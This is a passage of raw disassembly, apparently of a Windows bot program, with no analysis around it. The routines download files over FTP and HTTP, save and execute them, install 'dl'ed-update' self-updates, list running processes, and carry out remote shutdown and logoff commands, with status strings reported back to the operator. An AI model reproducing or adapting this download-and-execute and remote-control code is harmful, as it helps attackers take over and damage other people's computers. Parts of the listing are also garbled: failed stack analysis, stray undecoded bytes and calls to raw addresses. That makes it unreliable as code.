		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0D0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41D730:				; CODE XREF: ___:00401168j
					; ___:loc_4019E7j
		push	esi
		mov	esi, ecx
		call	sub_4015C3
		test	byte ptr [esp+8], 1
		jz	short loc_41D748
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41D748:				; CODE XREF: ___:0041D73Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D760	proc near		; CODE XREF: sub_4015C3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D760
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E0D0
		lea	ecx, [esi+7Ah]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D760	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41D830	proc near		; CODE XREF: sub_401C80j

var_48		= dword	ptr -48h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_44		= byte ptr  48h
arg_10C		= byte ptr  110h
arg_11C		= byte ptr  120h
arg_12C		= byte ptr  130h
arg_110C	= dword	ptr  1110h
arg_1110	= byte ptr  1114h
arg_112C	= dword	ptr  1130h
arg_1134	= dword	ptr  1138h
arg_1144	= byte ptr  1148h
arg_1150	= dword	ptr  1154h

; FUNCTION CHUNK AT 0041DF4B SIZE 0000001B BYTES

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43B0F2
		push	eax
		mov	eax, 1158h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	offset byte_446F70
		lea	edi, [esi+11h]
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF38
		lea	ebx, [esi+65h]
		push	offset byte_446F70
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF38
		lea	ecx, [esi+26h]
		push	offset byte_446F70
		call	sub_4012EE
		test	eax, eax
		jz	loc_41DF38
		mov	al, [esi+91h]
		test	al, al
		jz	short loc_41D8D1
		push	offset byte_446F70
		lea	ecx, [esi+3Bh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41D8C4
		push	offset byte_446F70
		lea	ecx, [esi+50h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41D8D1


loc_41D8C4:				; CODE XREF: sub_41D830+81j
		mov	[esp+1Ch+var_8], esi
		lea	eax, [esp+1Ch+var_8]
		jmp	loc_41DF40
; ---------------------------------------------------------------------------


loc_41D8D1:				; CODE XREF: sub_41D830+70j
					; sub_41D830+92j
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+20h]
		push	1
		push	ecx
		mov	ecx, edi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	[esp+20h+arg_1150], 0
		call	sub_4012EE
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	short loc_41D95E
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+20h]
		push	1
		push	edx
		mov	ecx, edi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+1Ch+arg_1150], 1
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jnz	short loc_41D96F


loc_41D95E:				; CODE XREF: sub_41D830+E3j
		mov	al, [esi+91h]
		neg	al
		sbb	eax, eax
		and	al, 0C5h
		add	eax, 50h
		mov	ebp, eax


loc_41D96F:				; CODE XREF: sub_41D830+12Cj
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+20h+arg_14]
		push	0
		push	ecx
		mov	ecx, edi
		call	sub_4016AE
		lea	edx, [esp+1Ch+arg_14]
		mov	ecx, edi
		push	edx
		mov	[esp+20h+arg_1150], 2
		call	sub_401FBE
		lea	eax, [esp+1Ch+arg_44]
		push	104h
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 27F0000h
		lea	ecx, [esp+28h+arg_38]
		push	ecx
		mov	ecx, ebx
		call	sub_4015D7
		mov	al, [esi+91h]
		test	al, al
		jz	loc_41DB04
		call	sub_401E06
; ---------------------------------------------------------------------------
		lea	edx, [esp+28h+var_14]
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		call	sub_401A69
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_41DA1C
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aFtpBadconnect ;	"ftp(badconnect)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		mov	[esp+28h+var_18], esi
		lea	edx, [esp+28h+var_18]
		jmp	loc_41DF17
; ---------------------------------------------------------------------------


loc_41DA1C:				; CODE XREF: sub_41D830+1B7j
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+50h]
		push	eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+3Bh]
		call	sub_4017E4
		push	eax
		call	sub_402243
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DA73
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBadlogin ; "ftp(badlogin)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41DF18
; ---------------------------------------------------------------------------


loc_41DA73:				; CODE XREF: sub_41D830+20Dj
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpGetting ; "ftp(getting)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+26h]
		push	eax
		push	49h
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		call	sub_4016A9
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41DAF2
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBaddl ; "ftp(baddl)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41DF18
; ---------------------------------------------------------------------------


loc_41DAF2:				; CODE XREF: sub_41D830+28Dj
		mov	ecx, [esp+28h+var_14]
		push	ecx
		call	sub_401D52
		add	esp, 4
		jmp	loc_41DD7B
; ---------------------------------------------------------------------------


loc_41DB04:				; CODE XREF: sub_41D830+195j
		lea	ecx, [esp+28h+arg_20]
		call	sub_401424
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+arg_1144], 3
		call	sub_401424
		push	ebp
		mov	ecx, edi
		mov	[esp+2Ch+arg_1144], 4
		call	sub_4017E4
		push	eax
		call	sub_401A8C
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+28h+var_14], ebx
		jnz	short loc_41DB87
		lea	ecx, [esi+7Ah]
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadconnect ; "http(badconnect)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	ecx
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
; ---------------------------------------------------------------------------
		db 53h
		db 90h
		db 0E8h, 0B7h, 0BAh
; ---------------------------------------------------------------------------
		imul	esi, [ecx-17h],	0BEh


loc_41DB87:				; CODE XREF: sub_41D830+310j
		push	ebp
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+26h]
		call	sub_4017E4
		push	eax
		lea	edx, [esp+34h+arg_20]
		push	offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+28h+arg_20]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+30h+arg_20]
		call	sub_4017E4
		push	eax
		push	ebx
		nop
		call	near ptr 71AB428Ah
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aHttpGetting ; "http(getting)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		push	offset aWb	; "wb"
		lea	ecx, [esi+65h]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41DC80
		mov	ecx, edi
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadopen ; "http(badopen)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+38h+var_28]
		mov	[esp+38h+var_28], esi
		push	ecx
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+38h+var_1C]
		mov	byte ptr [esp+38h+arg_1134], 3
		call	sub_401226
		lea	ecx, [esp+38h+arg_10]
		mov	byte ptr [esp+38h+arg_1134], 2
		call	sub_401226
		lea	ecx, [esp+38h+var_4]
		mov	[esp+38h+arg_1134], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_41DF4B
; ---------------------------------------------------------------------------


loc_41DC80:				; CODE XREF: sub_41D830+3DBj
					; sub_41D830+484j ...
		mov	eax, [esp+38h+var_24]
		push	0
		lea	edx, [esp+3Ch+arg_12C]
		push	1000h
		push	edx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DCF8
		cmp	ebp, 1000h
		jge	short loc_41DCB0
		mov	[esp+ebp+48h+arg_11C], 0


loc_41DCB0:				; CODE XREF: sub_41D830+476j
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DC80


loc_41DCB6:				; CODE XREF: sub_41D830+4A5j
		push	4
		lea	ecx, [esp+edi+4Ch+arg_11C]
		push	offset asc_443EF8 ; "\r\n\r\n"
		push	ecx
		nop
		call	near ptr 77C47A50h
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41DCD9
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DCB6
		jmp	short loc_41DC80
; ---------------------------------------------------------------------------


loc_41DCD9:				; CODE XREF: sub_41D830+4A0j
		add	edi, 4
		cmp	edi, ebp
		jge	short loc_41DCF8


loc_41DCE0:				; CODE XREF: sub_41D830+4C6j
		movsx	edx, [esp+edi+48h+arg_11C]
		push	ebx
		push	edx
		call	near ptr 77C40E76h
		nop
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DCE0


loc_41DCF8:				; CODE XREF: sub_41D830+46Ej
					; sub_41D830+4AEj ...
		mov	edi, [esp+48h+var_34]
		push	0
		lea	eax, [esp+4Ch+arg_11C]
		push	1000h
		push	eax
		push	edi
		nop
		call	near ptr 71AB615Ah
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DD48
		cmp	ebp, 1000h
		jge	short loc_41DD28
		mov	[esp+ebp+58h+arg_10C], 0


loc_41DD28:				; CODE XREF: sub_41D830+4EEj
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DCF8


loc_41DD2E:				; CODE XREF: sub_41D830+514j
		movsx	ecx, [esp+edi+58h+arg_10C]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DD2E
		jmp	short loc_41DCF8
; ---------------------------------------------------------------------------


loc_41DD48:				; CODE XREF: sub_41D830+4E6j
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 4
		push	edi
		call	near ptr 71AB9639h
		nop
		lea	ecx, [esp+5Ch+var_40]
		mov	[esp+5Ch+arg_1110], 3
		call	sub_401226
		lea	ecx, [esp+5Ch+var_10]
		mov	[esp+5Ch+arg_1110], 2
		call	sub_401226


loc_41DD7B:				; CODE XREF: sub_41D830+2CFj
		mov	al, [esi+90h]
		test	al, al
		jnz	loc_41DE17
		lea	ebp, [esi+65h]
		mov	ecx, ebp
		call	sub_4017E4
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlDone_S_ ; "dl, done. %s ."
		mov	ecx, edi
		call	sub_401681
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		mov	al, [esi+8Fh]
		add	esp, 18h
		test	al, al
		jz	loc_41DF0F
		push	offset byte_446F70
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		call	sub_401299
		add	esp, 8
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		push	offset aOpenS_	; "open	%s."
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		jmp	loc_41DF0F
; ---------------------------------------------------------------------------


loc_41DE17:				; CODE XREF: sub_41D830+553j
		lea	ebx, [esi+65h]
		mov	ecx, ebx
		call	sub_4017E4
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlEdUpdateS ; "dl'ed-update: %s"
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		lea	edx, [esp+5Ch+var_40]
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	51h
		push	edx
		call	sub_4019B5
		add	esp, 24h
		mov	ecx, eax
		mov	[esp+5Ch+arg_1110], 5
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4014D3
		push	eax
		call	sub_402149
		add	esp, 8
		lea	ecx, [esp+5Ch+var_40]
		mov	bl, al
		mov	[esp+5Ch+arg_1110], 2
		call	sub_401226
		test	bl, bl
		jz	short loc_41DEEA
		mov	al, byte_4478D6
		test	al, al
		jz	short loc_41DEB9
		push	offset dword_447874
		mov	ecx, offset dword_448DB0
		call	sub_401447


loc_41DEB9:				; CODE XREF: sub_41D830+678j
		mov	al, byte_44791F
		test	al, al
		jz	short loc_41DED1
		push	offset byte_44794F
		mov	ecx, offset dword_448DB0
		call	sub_401942


loc_41DED1:				; CODE XREF: sub_41D830+690j
		mov	ecx, offset dword_448DB0
		call	sub_401E5B
		push	1
		mov	byte_4E6E84, 0
		nop
		call	near ptr 77C39E7Eh


loc_41DEEA:				; CODE XREF: sub_41D830+66Fj
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aExec_error ; "exec.error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118


loc_41DF0F:				; CODE XREF: sub_41D830+597j
					; sub_41D830+5E2j
		mov	[esp+60h+var_48], esi
		lea	edx, [esp+60h+var_48]


loc_41DF17:				; CODE XREF: sub_41D830+1E7j
		push	edx


loc_41DF18:				; CODE XREF: sub_41D830+23Ej
					; sub_41D830+2BDj
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_2C]
		mov	[esp+60h+arg_110C], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_41DF4B
; ---------------------------------------------------------------------------


loc_41DF38:				; CODE XREF: sub_41D830+36j
					; sub_41D830+4Dj ...
		mov	[esp+1Ch+var_C], esi
		lea	eax, [esp+1Ch+var_C]


loc_41DF40:				; CODE XREF: sub_41D830+9Cj
		push	eax
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
sub_41D830	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D830


loc_41DF4B:				; CODE XREF: sub_41D830+44Bj
					; sub_41D830+706j
		mov	ecx, [esp+38h+arg_112C]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 1164h
		retn
; END OF FUNCTION CHUNK	FOR sub_41D830
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 1D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E140	proc near		; CODE XREF: sub_401B90j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E140
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	0Fh
		push	0Fh
		push	2
		push	5
		push	12h
		push	4Fh
		push	3
		lea	eax, [esp+64h+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_41E140	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Eh
		push	17h
		push	0Fh
		push	4
		push	14h
		push	15h
		push	8
		push	13h
		push	4Fh
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	6
		push	6
		push	0Fh
		push	7
		push	0Fh
		push	0Ch
		push	4Fh
		push	3
		lea	ecx, [esp+40h]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41E2C0:				; CODE XREF: ___:loc_4010B4j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, ecx
		lea	ebx, [edi+7Eh]
		lea	ecx, [esi+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E31B
		push	offset dword_443FFC
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	cl, [edi+93h]
		push	eax
		mov	al, [edi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 14h
		push	0
		push	6
		call	near ptr 2880000h
		nop
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E31B:				; CODE XREF: ___:0041E2DEj
		lea	ecx, [esi+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E36A
		push	offset aSysSd	; "sys(sd)"
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	dl, [edi+94h]
		push	eax
		mov	al, [edi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 14h
		push	0
		push	5
		nop
		call	near ptr 2880000h
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E36A:				; CODE XREF: ___:0041E32Dj
		lea	ecx, [esi+60h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E3B1
		push	offset aSysLogoff ; "sys(logoff)"
		lea	ecx, [edi+69h]
		call	sub_401681
		mov	cl, [edi+94h]
		mov	dl, [edi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 14h
		push	0
		push	4
		nop
		call	near ptr 2880000h


loc_41E3B1:				; CODE XREF: ___:0041E37Cj
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E400	proc near		; CODE XREF: sub_401F5Fj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E400
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+6Ch+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_41E400	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	ecx, [esp+3Ch]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		mov	dword ptr [esp+40h], 2
		push	esi
		mov	ecx, eax
		call	sub_4017E4
		lea	edx, [esi+8Eh]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+3Ch]
		push	10h
		push	eax
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	9
		push	10h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+54h]
		push	10h
		push	edx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E660	proc near		; CODE XREF: sub_401613j

var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41E660
		push	eax
		mov	large fs:0, esp
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+5Ch+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E7FA
		lea	eax, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4018D9
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0
		push	ecx
		call	sub_4011D6
		add	esp, 4
		test	al, al
		jz	loc_41E7E2
		push	0
		push	7Bh
		push	25h
		push	9
		push	25h
		push	25h
		push	9
		push	5
		push	1Dh
		push	23h
		push	1Fh
		lea	edx, [esp+8Ch+var_3C]
		push	79h
		push	edx
		call	sub_4019B5
		add	esp, 34h
		mov	edi, eax
		lea	ebx, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 1
		mov	ecx, ebx
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401703
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		xor	edi, edi
		call	sub_4014D8
		mov	eax, [eax]
		lea	ecx, [esp+60h+var_4C]
		push	ecx
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], eax
		call	sub_40196F
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401802
		test	al, al
		jz	short loc_41E7E2
		mov	ebp, dword_50F8D0


loc_41E76E:				; CODE XREF: sub_41E660+180j
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_40122B
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_40122B
		mov	edx, [eax+15h]
		mov	ecx, ebx
		push	edx
		push	edi
		push	offset aD_PidDS	; "%d. - Pid: %d - \"%s\""
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 20h
		push	5DCh
		call	ebp
		lea	ecx, [esp+60h+var_50]
		call	sub_40107D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_40196F
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401802
		test	al, al
		jnz	short loc_41E76E


loc_41E7E2:				; CODE XREF: sub_41E660+62j
					; sub_41E660+106j
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401816
; ---------------------------------------------------------------------------
		mov	al, 1
